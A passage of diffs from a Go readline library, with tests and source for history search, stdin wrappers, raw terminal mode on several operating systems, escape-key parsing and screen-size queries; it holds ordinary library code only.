{
[][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")},
[][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")},
1,
},
{
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
0,
},
{
[][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")},
[][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")},
2,
},
}
for _, r := range runes {
same, off := Aggregate(r.r)
if off != r.length {
t.Fatal("result not expect", off)
}
if len(same) != off {
t.Fatal("result not expect", same)
}
if !reflect.DeepEqual(r.r, r.e) {
t.Fatal("result not expect")
}
}
}
+68
View File
@@ -0,0 +1,68 @@
package readline
import (
"reflect"
"testing"
)
type twidth struct {
r []rune
length int
}
func TestRuneWidth(t *testing.T) {
rs := []twidth{
{[]rune("☭"), 1},
{[]rune("a"), 1},
{[]rune("你"), 2},
{runes.ColorFilter([]rune("☭\033[13;1m你")), 3},
}
for _, r := range rs {
if w := runes.WidthAll(r.r); w != r.length {
t.Fatal("result not expect", r.r, r.length, w)
}
}
}
type tagg struct {
r [][]rune
e [][]rune
length int
}
func TestAggRunes(t *testing.T) {
rs := []tagg{
{
[][]rune{[]rune("ab"), []rune("a"), []rune("abc")},
[][]rune{[]rune("b"), []rune(""), []rune("bc")},
1,
},
{
[][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")},
[][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")},
1,
},
{
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
[][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")},
0,
},
{
[][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")},
[][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")},
2,
},
}
for _, r := range rs {
same, off := runes.Aggregate(r.r)
if off != r.length {
t.Fatal("result not expect", off)
}
if len(same) != off {
t.Fatal("result not expect", same)
}
if !reflect.DeepEqual(r.r, r.e) {
t.Fatal("result not expect")
}
}
}
+164
View File
@@ -0,0 +1,164 @@
package readline
import (
"bytes"
"container/list"
"fmt"
"io"
)
const (
S_STATE_FOUND = iota
S_STATE_FAILING
)
const (
S_DIR_BCK = iota
S_DIR_FWD
)
type opSearch struct {
inMode bool
state int
dir int
source *list.Element
w io.Writer
buf *RuneBuffer
data []rune
history *opHistory
cfg *Config
markStart int
markEnd int
width int
}
func newOpSearch(w io.Writer, buf *RuneBuffer, history *opHistory, cfg *Config, width int) *opSearch {
return &opSearch{
w: w,
buf: buf,
cfg: cfg,
history: history,
width: width,
}
}
func (o *opSearch) OnWidthChange(newWidth int) {
o.width = newWidth
}
func (o *opSearch) IsSearchMode() bool {
return o.inMode
}
func (o *opSearch) SearchBackspace() {
if len(o.data) > 0 {
o.data = o.data[:len(o.data)-1]
o.search(true)
}
}
func (o *opSearch) findHistoryBy(isNewSearch bool) (int, *list.Element) {
if o.dir == S_DIR_BCK {
return o.history.FindBck(isNewSearch, o.data, o.buf.idx)
}
return o.history.FindFwd(isNewSearch, o.data, o.buf.idx)
}
func (o *opSearch) search(isChange bool) bool {
if len(o.data) == 0 {
o.state = S_STATE_FOUND
o.SearchRefresh(-1)
return true
}
idx, elem := o.findHistoryBy(isChange)
if elem == nil {
o.SearchRefresh(-2)
return false
}
o.history.current = elem
item := o.history.showItem(o.history.current.Value)
start, end := 0, 0
if o.dir == S_DIR_BCK {
start, end = idx, idx+len(o.data)
} else {
start, end = idx, idx+len(o.data)
idx += len(o.data)
}
o.buf.SetWithIdx(idx, item)
o.markStart, o.markEnd = start, end
o.SearchRefresh(idx)
return true
}
func (o *opSearch) SearchChar(r rune) {
o.data = append(o.data, r)
o.search(true)
}
func (o *opSearch) SearchMode(dir int) bool {
if o.width == 0 {
return false
}
alreadyInMode := o.inMode
o.inMode = true
o.dir = dir
o.source = o.history.current
if alreadyInMode {
o.search(false)
} else {
o.SearchRefresh(-1)
}
return true
}
func (o *opSearch) ExitSearchMode(revert bool) {
if revert {
o.history.current = o.source
o.buf.Set(o.history.showItem(o.history.current.Value))
}
o.markStart, o.markEnd = 0, 0
o.state = S_STATE_FOUND
o.inMode = false
o.source = nil
o.data = nil
}
func (o *opSearch) SearchRefresh(x int) {
if x == -2 {
o.state = S_STATE_FAILING
} else if x >= 0 {
o.state = S_STATE_FOUND
}
if x < 0 {
x = o.buf.idx
}
x = o.buf.CurrentWidth(x)
x += o.buf.PromptLen()
x = x % o.width
if o.markStart > 0 {
o.buf.SetStyle(o.markStart, o.markEnd, "4")
}
lineCnt := o.buf.CursorLineCount()
buf := bytes.NewBuffer(nil)
buf.Write(bytes.Repeat([]byte("\n"), lineCnt))
buf.WriteString("\033[J")
if o.state == S_STATE_FAILING {
buf.WriteString("failing ")
}
if o.dir == S_DIR_BCK {
buf.WriteString("bck")
} else if o.dir == S_DIR_FWD {
buf.WriteString("fwd")
}
buf.WriteString("-i-search: ")
buf.WriteString(string(o.data)) // keyword
buf.WriteString("\033[4m \033[0m") // _
fmt.Fprintf(buf, "\r\033[%dA", lineCnt) // move prev
if x > 0 {
fmt.Fprintf(buf, "\033[%dC", x) // move forward
}
o.w.Write(buf.Bytes())
}
+197
View File
@@ -0,0 +1,197 @@
package readline
import (
"io"
"os"
"sync"
"sync/atomic"
)
var (
Stdin io.ReadCloser = os.Stdin
Stdout io.WriteCloser = os.Stdout
Stderr io.WriteCloser = os.Stderr
)
var (
std *Instance
stdOnce sync.Once
)
// global instance will not submit history automatic
func getInstance() *Instance {
stdOnce.Do(func() {
std, _ = NewEx(&Config{
DisableAutoSaveHistory: true,
})
})
return std
}
// let readline load history from filepath
// and try to persist history into disk
// set fp to "" to prevent readline persisting history to disk
// so the `AddHistory` will return nil error forever.
func SetHistoryPath(fp string) {
ins := getInstance()
cfg := ins.Config.Clone()
cfg.HistoryFile = fp
ins.SetConfig(cfg)
}
// set auto completer to global instance
func SetAutoComplete(completer AutoCompleter) {
ins := getInstance()
cfg := ins.Config.Clone()
cfg.AutoComplete = completer
ins.SetConfig(cfg)
}
// add history to global instance manually
// raise error only if `SetHistoryPath` is set with a non-empty path
func AddHistory(content string) error {
ins := getInstance()
return ins.SaveHistory(content)
}
func Password(prompt string) ([]byte, error) {
ins := getInstance()
return ins.ReadPassword(prompt)
}
// readline with global configs
func Line(prompt string) (string, error) {
ins := getInstance()
ins.SetPrompt(prompt)
return ins.Readline()
}
type CancelableStdin struct {
r io.Reader
mutex sync.Mutex
stop chan struct{}
closed int32
notify chan struct{}
data []byte
read int
err error
}
func NewCancelableStdin(r io.Reader) *CancelableStdin {
c := &CancelableStdin{
r: r,
notify: make(chan struct{}),
stop: make(chan struct{}),
}
go c.ioloop()
return c
}
func (c *CancelableStdin) ioloop() {
loop:
for {
select {
case <-c.notify:
c.read, c.err = c.r.Read(c.data)
select {
case c.notify <- struct{}{}:
case <-c.stop:
break loop
}
case <-c.stop:
break loop
}
}
}
func (c *CancelableStdin) Read(b []byte) (n int, err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
if atomic.LoadInt32(&c.closed) == 1 {
return 0, io.EOF
}
c.data = b
select {
case c.notify <- struct{}{}:
case <-c.stop:
return 0, io.EOF
}
select {
case <-c.notify:
return c.read, c.err
case <-c.stop:
return 0, io.EOF
}
}
func (c *CancelableStdin) Close() error {
if atomic.CompareAndSwapInt32(&c.closed, 0, 1) {
close(c.stop)
}
return nil
}
// FillableStdin is a stdin reader which can prepend some data before
// reading into the real stdin
type FillableStdin struct {
sync.Mutex
stdin io.Reader
stdinBuffer io.ReadCloser
buf []byte
bufErr error
}
// NewFillableStdin gives you FillableStdin
func NewFillableStdin(stdin io.Reader) (io.ReadCloser, io.Writer) {
r, w := io.Pipe()
s := &FillableStdin{
stdinBuffer: r,
stdin: stdin,
}
s.ioloop()
return s, w
}
func (s *FillableStdin) ioloop() {
go func() {
for {
bufR := make([]byte, 100)
var n int
n, s.bufErr = s.stdinBuffer.Read(bufR)
if s.bufErr != nil {
if s.bufErr == io.ErrClosedPipe {
break
}
}
s.Lock()
s.buf = append(s.buf, bufR[:n]...)
s.Unlock()
}
}()
}
// Read will read from the local buffer and if no data, read from stdin
func (s *FillableStdin) Read(p []byte) (n int, err error) {
s.Lock()
i := len(s.buf)
if len(p) < i {
i = len(p)
}
if i > 0 {
n := copy(p, s.buf)
s.buf = s.buf[:0]
cerr := s.bufErr
s.bufErr = nil
s.Unlock()
return n, cerr
}
s.Unlock()
n, err = s.stdin.Read(p)
return n, err
}
func (s *FillableStdin) Close() error {
s.stdinBuffer.Close()
return nil
}
+9
View File
@@ -0,0 +1,9 @@
// +build windows
package readline
func init() {
Stdin = NewRawReader()
Stdout = NewANSIWriter(Stdout)
Stderr = NewANSIWriter(Stderr)
}
+123
View File
@@ -0,0 +1,123 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd solaris
// Package terminal provides support functions for dealing with terminals, as
// commonly found on UNIX systems.
//
// Putting a terminal into raw mode is the most common requirement:
//
// oldState, err := terminal.MakeRaw(0)
// if err != nil {
// panic(err)
// }
// defer terminal.Restore(0, oldState)
package readline
import (
"io"
"syscall"
)
// State contains the state of a terminal.
type State struct {
termios Termios
}
// IsTerminal returns true if the given file descriptor is a terminal.
func IsTerminal(fd int) bool {
_, err := getTermios(fd)
return err == nil
}
// MakeRaw put the terminal connected to the given file descriptor into raw
// mode and returns the previous state of the terminal so that it can be
// restored.
func MakeRaw(fd int) (*State, error) {
var oldState State
if termios, err := getTermios(fd); err != nil {
return nil, err
} else {
oldState.termios = *termios
}
newState := oldState.termios
// This attempts to replicate the behaviour documented for cfmakeraw in
// the termios(3) manpage.
newState.Iflag &^= syscall.IGNBRK | syscall.BRKINT | syscall.PARMRK | syscall.ISTRIP | syscall.INLCR | syscall.IGNCR | syscall.ICRNL | syscall.IXON
// newState.Oflag &^= syscall.OPOST
newState.Lflag &^= syscall.ECHO | syscall.ECHONL | syscall.ICANON | syscall.ISIG | syscall.IEXTEN
newState.Cflag &^= syscall.CSIZE | syscall.PARENB
newState.Cflag |= syscall.CS8
newState.Cc[syscall.VMIN] = 1
newState.Cc[syscall.VTIME] = 0
return &oldState, setTermios(fd, &newState)
}
// GetState returns the current state of a terminal which may be useful to
// restore the terminal after a signal.
func GetState(fd int) (*State, error) {
termios, err := getTermios(fd)
if err != nil {
return nil, err
}
return &State{termios: *termios}, nil
}
// Restore restores the terminal connected to the given file descriptor to a
// previous state.
func restoreTerm(fd int, state *State) error {
return setTermios(fd, &state.termios)
}
// ReadPassword reads a line of input from a terminal without local echo. This
// is commonly used for inputting passwords and other sensitive data. The slice
// returned does not include the \n.
func ReadPassword(fd int) ([]byte, error) {
oldState, err := getTermios(fd)
if err != nil {
return nil, err
}
newState := oldState
newState.Lflag &^= syscall.ECHO
newState.Lflag |= syscall.ICANON | syscall.ISIG
newState.Iflag |= syscall.ICRNL
if err := setTermios(fd, newState); err != nil {
return nil, err
}
defer func() {
setTermios(fd, oldState)
}()
var buf [16]byte
var ret []byte
for {
n, err := syscall.Read(fd, buf[:])
if err != nil {
return nil, err
}
if n == 0 {
if len(ret) == 0 {
return nil, io.EOF
}
break
}
if buf[n-1] == '\n' {
n--
}
ret = append(ret, buf[:n]...)
if n < len(buf) {
break
}
}
return ret, nil
}
+29
View File
@@ -0,0 +1,29 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin dragonfly freebsd netbsd openbsd
package readline
import (
"syscall"
"unsafe"
)
func getTermios(fd int) (*Termios, error) {
termios := new(Termios)
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCGETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
if err != 0 {
return nil, err
}
return termios, nil
}
func setTermios(fd int, termios *Termios) error {
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCSETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
if err != 0 {
return err
}
return nil
}
+33
View File
@@ -0,0 +1,33 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package readline
import (
"syscall"
"unsafe"
)
// These constants are declared here, rather than importing
// them from the syscall package as some syscall packages, even
// on linux, for example gccgo, do not declare them.
const ioctlReadTermios = 0x5401 // syscall.TCGETS
const ioctlWriteTermios = 0x5402 // syscall.TCSETS
func getTermios(fd int) (*Termios, error) {
termios := new(Termios)
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlReadTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
if err != 0 {
return nil, err
}
return termios, nil
}
func setTermios(fd int, termios *Termios) error {
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlWriteTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0)
if err != 0 {
return err
}
return nil
}
+32
View File
@@ -0,0 +1,32 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build aix os400 solaris
package readline
import "golang.org/x/sys/unix"
// GetSize returns the dimensions of the given terminal.
func GetSize(fd int) (int, int, error) {
ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ)
if err != nil {
return 0, 0, err
}
return int(ws.Col), int(ws.Row), nil
}
type Termios unix.Termios
func getTermios(fd int) (*Termios, error) {
termios, err := unix.IoctlGetTermios(fd, unix.TCGETS)
if err != nil {
return nil, err
}
return (*Termios)(termios), nil
}
func setTermios(fd int, termios *Termios) error {
return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios))
}
+32
View File
@@ -0,0 +1,32 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build solaris
package readline
import "golang.org/x/sys/unix"
// GetSize returns the dimensions of the given terminal.
func GetSize(fd int) (int, int, error) {
ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ)
if err != nil {
return 0, 0, err
}
return int(ws.Col), int(ws.Row), nil
}
type Termios unix.Termios
func getTermios(fd int) (*Termios, error) {
termios, err := unix.IoctlGetTermios(fd, unix.TCGETS)
if err != nil {
return nil, err
}
return (*Termios)(termios), nil
}
func setTermios(fd int, termios *Termios) error {
return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios))
}
+24
View File
@@ -0,0 +1,24 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd
package readline
import (
"syscall"
"unsafe"
)
type Termios syscall.Termios
// GetSize returns the dimensions of the given terminal.
func GetSize(fd int) (int, int, error) {
var dimensions [4]uint16
_, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), uintptr(syscall.TIOCGWINSZ), uintptr(unsafe.Pointer(&dimensions)), 0, 0, 0)
if err != 0 {
return 0, 0, err
}
return int(dimensions[1]), int(dimensions[0]), nil
}
+171
View File
@@ -0,0 +1,171 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
// Package terminal provides support functions for dealing with terminals, as
// commonly found on UNIX systems.
//
// Putting a terminal into raw mode is the most common requirement:
//
// oldState, err := terminal.MakeRaw(0)
// if err != nil {
// panic(err)
// }
// defer terminal.Restore(0, oldState)
package readline
import (
"io"
"syscall"
"unsafe"
)
const (
enableLineInput = 2
enableEchoInput = 4
enableProcessedInput = 1
enableWindowInput = 8
enableMouseInput = 16
enableInsertMode = 32
enableQuickEditMode = 64
enableExtendedFlags = 128
enableAutoPosition = 256
enableProcessedOutput = 1
enableWrapAtEolOutput = 2
)
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var (
procGetConsoleMode = kernel32.NewProc("GetConsoleMode")
procSetConsoleMode = kernel32.NewProc("SetConsoleMode")
procGetConsoleScreenBufferInfo = kernel32.NewProc("GetConsoleScreenBufferInfo")
)
type (
coord struct {
x short
y short
}
smallRect struct {
left short
top short
right short
bottom short
}
consoleScreenBufferInfo struct {
size coord
cursorPosition coord
attributes word
window smallRect
maximumWindowSize coord
}
)
type State struct {
mode uint32
}
// IsTerminal returns true if the given file descriptor is a terminal.
func IsTerminal(fd int) bool {
var st uint32
r, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
return r != 0 && e == 0
}
// MakeRaw put the terminal connected to the given file descriptor into raw
// mode and returns the previous state of the terminal so that it can be
// restored.
func MakeRaw(fd int) (*State, error) {
var st uint32
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
if e != 0 {
return nil, error(e)
}
raw := st &^ (enableEchoInput | enableProcessedInput | enableLineInput | enableProcessedOutput)
_, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(raw), 0)
if e != 0 {
return nil, error(e)
}
return &State{st}, nil
}
// GetState returns the current state of a terminal which may be useful to
// restore the terminal after a signal.
func GetState(fd int) (*State, error) {
var st uint32
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
if e != 0 {
return nil, error(e)
}
return &State{st}, nil
}
// Restore restores the terminal connected to the given file descriptor to a
// previous state.
func restoreTerm(fd int, state *State) error {
_, _, err := syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(state.mode), 0)
return err
}
// GetSize returns the dimensions of the given terminal.
func GetSize(fd int) (width, height int, err error) {
var info consoleScreenBufferInfo
_, _, e := syscall.Syscall(procGetConsoleScreenBufferInfo.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&info)), 0)
if e != 0 {
return 0, 0, error(e)
}
return int(info.size.x), int(info.size.y), nil
}
// ReadPassword reads a line of input from a terminal without local echo. This
// is commonly used for inputting passwords and other sensitive data. The slice
// returned does not include the \n.
func ReadPassword(fd int) ([]byte, error) {
var st uint32
_, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0)
if e != 0 {
return nil, error(e)
}
old := st
st &^= (enableEchoInput)
st |= (enableProcessedInput | enableLineInput | enableProcessedOutput)
_, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(st), 0)
if e != 0 {
return nil, error(e)
}
defer func() {
syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(old), 0)
}()
var buf [16]byte
var ret []byte
for {
n, err := syscall.Read(syscall.Handle(fd), buf[:])
if err != nil {
return nil, err
}
if n == 0 {
if len(ret) == 0 {
return nil, io.EOF
}
break
}
if buf[n-1] == '\n' {
n--
}
if n > 0 && buf[n-1] == '\r' {
n--
}
ret = append(ret, buf[:n]...)
if n < len(buf) {
break
}
}
return ret, nil
}
+254
View File
@@ -0,0 +1,254 @@
package readline
import (
"bufio"
"fmt"
"io"
"strings"
"sync"
"sync/atomic"
)
type Terminal struct {
m sync.Mutex
cfg *Config
outchan chan rune
closed int32
stopChan chan struct{}
kickChan chan struct{}
wg sync.WaitGroup
isReading int32
sleeping int32
sizeChan chan string
}
func NewTerminal(cfg *Config) (*Terminal, error) {
if err := cfg.Init(); err != nil {
return nil, err
}
t := &Terminal{
cfg: cfg,
kickChan: make(chan struct{}, 1),
outchan: make(chan rune),
stopChan: make(chan struct{}, 1),
sizeChan: make(chan string, 1),
}
go t.ioloop()
return t, nil
}
// SleepToResume will sleep myself, and return only if I'm resumed.
func (t *Terminal) SleepToResume() {
if !atomic.CompareAndSwapInt32(&t.sleeping, 0, 1) {
return
}
defer atomic.StoreInt32(&t.sleeping, 0)
t.ExitRawMode()
ch := WaitForResume()
SuspendMe()
<-ch
t.EnterRawMode()
}
func (t *Terminal) EnterRawMode() (err error) {
return t.cfg.FuncMakeRaw()
}
func (t *Terminal) ExitRawMode() (err error) {
return t.cfg.FuncExitRaw()
}
func (t *Terminal) Write(b []byte) (int, error) {
return t.cfg.Stdout.Write(b)
}
// WriteStdin prefill the next Stdin fetch
// Next time you call ReadLine() this value will be writen before the user input
func (t *Terminal) WriteStdin(b []byte) (int, error) {
return t.cfg.StdinWriter.Write(b)
}
type termSize struct {
left int
top int
}
func (t *Terminal) GetOffset(f func(offset string)) {
go func() {
f(<-t.sizeChan)
}()
t.Write([]byte("\033[6n"))
}
func (t *Terminal) Print(s string) {
fmt.Fprintf(t.cfg.Stdout, "%s", s)
}
func (t *Terminal) PrintRune(r rune) {
fmt.Fprintf(t.cfg.Stdout, "%c", r)
}
func (t *Terminal) Readline() *Operation {
return NewOperation(t, t.cfg)
}
// return rune(0) if meet EOF
func (t *Terminal) ReadRune() rune {
ch, ok := <-t.outchan
if !ok {
return rune(0)
}
return ch
}
func (t *Terminal) IsReading() bool {
return atomic.LoadInt32(&t.isReading) == 1
}
func (t *Terminal) KickRead() {
select {
case t.kickChan <- struct{}{}:
default:
}
}
func (t *Terminal) ioloop() {
t.wg.Add(1)
defer func() {
t.wg.Done()
close(t.outchan)
}()
var (
isEscape bool
isEscapeEx bool
isEscapeSS3 bool
expectNextChar bool
)
buf := bufio.NewReader(t.getStdin())
for {
if !expectNextChar {
atomic.StoreInt32(&t.isReading, 0)
select {
case <-t.kickChan:
atomic.StoreInt32(&t.isReading, 1)
case <-t.stopChan:
return
}
}
expectNextChar = false
r, _, err := buf.ReadRune()
if err != nil {
if strings.Contains(err.Error(), "interrupted system call") {
expectNextChar = true
continue
}
break
}
if isEscape {
isEscape = false
if r == CharEscapeEx {
// ^][
expectNextChar = true
isEscapeEx = true
continue
} else if r == CharO {
// ^]O
expectNextChar = true
isEscapeSS3 = true
continue
}
r = escapeKey(r, buf)
} else if isEscapeEx {
isEscapeEx = false
if key := readEscKey(r, buf); key != nil {
r = escapeExKey(key)
// offset
if key.typ == 'R' {
if _, _, ok := key.Get2(); ok {
select {
case t.sizeChan <- key.attr:
default:
}
}
expectNextChar = true
continue
}
}
if r == 0 {
expectNextChar = true
continue
}
} else if isEscapeSS3 {
isEscapeSS3 = false
if key := readEscKey(r, buf); key != nil {
r = escapeSS3Key(key)
}
if r == 0 {
expectNextChar = true
continue
}
}
expectNextChar = true
switch r {
case CharEsc:
if t.cfg.VimMode {
t.outchan <- r
break
}
isEscape = true
case CharInterrupt, CharEnter, CharCtrlJ, CharDelete:
expectNextChar = false
fallthrough
default:
t.outchan <- r
}
}
}
func (t *Terminal) Bell() {
fmt.Fprintf(t, "%c", CharBell)
}
func (t *Terminal) Close() error {
if atomic.SwapInt32(&t.closed, 1) != 0 {
return nil
}
if closer, ok := t.cfg.Stdin.(io.Closer); ok {
closer.Close()
}
close(t.stopChan)
t.wg.Wait()
return t.ExitRawMode()
}
func (t *Terminal) GetConfig() *Config {
t.m.Lock()
cfg := *t.cfg
t.m.Unlock()
return &cfg
}
func (t *Terminal) getStdin() io.Reader {
t.m.Lock()
r := t.cfg.Stdin
t.m.Unlock()
return r
}
func (t *Terminal) SetConfig(c *Config) error {
if err := c.Init(); err != nil {
return err
}
t.m.Lock()
t.cfg = c
t.m.Unlock()
return nil
}
+311
View File
@@ -0,0 +1,311 @@
package readline
import (
"bufio"
"bytes"
"container/list"
"fmt"
"os"
"os/signal"
"strconv"
"strings"
"sync"
"syscall"
"time"
"unicode"
)
var (
isWindows = false
)
const (
CharLineStart = 1
CharBackward = 2
CharInterrupt = 3
CharDelete = 4
CharLineEnd = 5
CharForward = 6
CharBell = 7
CharCtrlH = 8
CharTab = 9
CharCtrlJ = 10
CharKill = 11
CharCtrlL = 12
CharEnter = 13
CharNext = 14
CharPrev = 16
CharBckSearch = 18
CharFwdSearch = 19
CharTranspose = 20
CharCtrlU = 21
CharCtrlW = 23
CharCtrlY = 25
CharCtrlZ = 26
CharEsc = 27
CharO = 79
CharEscapeEx = 91
CharBackspace = 127
)
const (
MetaBackward rune = -iota - 1
MetaForward
MetaDelete
MetaBackspace
MetaTranspose
)
// WaitForResume need to call before current process got suspend.
// It will run a ticker until a long duration is occurs,
// which means this process is resumed.
func WaitForResume() chan struct{} {
ch := make(chan struct{})
var wg sync.WaitGroup
wg.Add(1)
go func() {
ticker := time.NewTicker(10 * time.Millisecond)
t := time.Now()
wg.Done()
for {
now := <-ticker.C
if now.Sub(t) > 100*time.Millisecond {
break
}
t = now
}
ticker.Stop()
ch <- struct{}{}
}()
wg.Wait()
return ch
}
func Restore(fd int, state *State) error {
err := restoreTerm(fd, state)
if err != nil {
// errno 0 means everything is ok :)
if err.Error() == "errno 0" {
return nil
} else {
return err
}
}
return nil
}
func IsPrintable(key rune) bool {
isInSurrogateArea := key >= 0xd800 && key <= 0xdbff
return key >= 32 && !isInSurrogateArea
}
// translate Esc[X
func escapeExKey(key *escapeKeyPair) rune {
var r rune
switch key.typ {
case 'D':
r = CharBackward
case 'C':
r = CharForward
case 'A':
r = CharPrev
case 'B':
r = CharNext
case 'H':
r = CharLineStart
case 'F':
r = CharLineEnd
case '~':
if key.attr == "3" {
r = CharDelete
}
default:
}
return r
}
// translate EscOX SS3 codes for up/down/etc.
func escapeSS3Key(key *escapeKeyPair) rune {
var r rune
switch key.typ {
case 'D':
r = CharBackward
case 'C':
r = CharForward
case 'A':
r = CharPrev
case 'B':
r = CharNext
case 'H':
r = CharLineStart
case 'F':
r = CharLineEnd
default:
}
return r
}
type escapeKeyPair struct {
attr string
typ rune
}
func (e *escapeKeyPair) Get2() (int, int, bool) {
sp := strings.Split(e.attr, ";")
if len(sp) < 2 {
return -1, -1, false
}
s1, err := strconv.Atoi(sp[0])
if err != nil {
return -1, -1, false
}
s2, err := strconv.Atoi(sp[1])
if err != nil {
return -1, -1, false
}
return s1, s2, true
}
func readEscKey(r rune, reader *bufio.Reader) *escapeKeyPair {
p := escapeKeyPair{}
buf := bytes.NewBuffer(nil)
for {
if r == ';' {
} else if unicode.IsNumber(r) {
} else {
p.typ = r
break
}
buf.WriteRune(r)
r, _, _ = reader.ReadRune()
}
p.attr = buf.String()
return &p
}
// translate EscX to Meta+X
func escapeKey(r rune, reader *bufio.Reader) rune {
switch r {
case 'b':
r = MetaBackward
case 'f':
r = MetaForward
case 'd':
r = MetaDelete
case CharTranspose:
r = MetaTranspose
case CharBackspace:
r = MetaBackspace
case 'O':
d, _, _ := reader.ReadRune()
switch d {
case 'H':
r = CharLineStart
case 'F':
r = CharLineEnd
default:
reader.UnreadRune()
}
case CharEsc:
}
return r
}
func SplitByLine(start, screenWidth int, rs []rune) []string {
var ret []string
buf := bytes.NewBuffer(nil)
currentWidth := start
for _, r := range rs {
w := runes.Width(r)
currentWidth += w
buf.WriteRune(r)
if currentWidth >= screenWidth {
ret = append(ret, buf.String())
buf.Reset()
currentWidth = 0
}
}
ret = append(ret, buf.String())
return ret
}
// calculate how many lines for N character
func LineCount(screenWidth, w int) int {
r := w / screenWidth
if w%screenWidth != 0 {
r++
}
return r
}
func IsWordBreak(i rune) bool {
switch {
case i >= 'a' && i <= 'z':
case i >= 'A' && i <= 'Z':
case i >= '0' && i <= '9':
default:
return true
}
return false
}
func GetInt(s []string, def int) int {
if len(s) == 0 {
return def
}
c, err := strconv.Atoi(s[0])
if err != nil {
return def
}
return c
}
type RawMode struct {
state *State
}
func (r *RawMode) Enter() (err error) {
r.state, err = MakeRaw(GetStdin())
return err
}
func (r *RawMode) Exit() error {
if r.state == nil {
return nil
}
return Restore(GetStdin(), r.state)
}
// -----------------------------------------------------------------------------
func sleep(n int) {
Debug(n)
time.Sleep(2000 * time.Millisecond)
}
// print a linked list to Debug()
func debugList(l *list.List) {
idx := 0
for e := l.Front(); e != nil; e = e.Next() {
Debug(idx, fmt.Sprintf("%+v", e.Value))
idx++
}
}
// append log info to another file
func Debug(o ...interface{}) {
f, _ := os.OpenFile("debug.tmp", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)
fmt.Fprintln(f, o...)
f.Close()
}
func CaptureExitSignal(f func()) {
cSignal := make(chan os.Signal, 1)
signal.Notify(cSignal, os.Interrupt, syscall.SIGTERM)
go func() {
for range cSignal {
f()
}
}()
}
+1
View File
@@ -0,0 +1 @@
package readline
+83
View File
@@ -0,0 +1,83 @@
// +build aix darwin dragonfly freebsd linux,!appengine netbsd openbsd os400 solaris
package readline
import (
"io"
"os"
"os/signal"
"sync"
"syscall"
)
type winsize struct {
Row uint16
Col uint16
Xpixel uint16
Ypixel uint16
}
// SuspendMe use to send suspend signal to myself, when we in the raw mode.
// For OSX it need to send to parent's pid
// For Linux it need to send to myself
func SuspendMe() {
p, _ := os.FindProcess(os.Getppid())
p.Signal(syscall.SIGTSTP)
p, _ = os.FindProcess(os.Getpid())
p.Signal(syscall.SIGTSTP)
}
// get width of the terminal
func getWidth(stdoutFd int) int {
cols, _, err := GetSize(stdoutFd)
if err != nil {
return -1
}
return cols
}
func GetScreenWidth() int {
w := getWidth(syscall.Stdout)
if w < 0 {
w = getWidth(syscall.Stderr)
}
return w
}
// ClearScreen clears the console screen
func ClearScreen(w io.Writer) (int, error) {
return w.Write([]byte("\033[H"))
}
func DefaultIsTerminal() bool {
return IsTerminal(syscall.Stdin) && (IsTerminal(syscall.Stdout) || IsTerminal(syscall.Stderr))
}
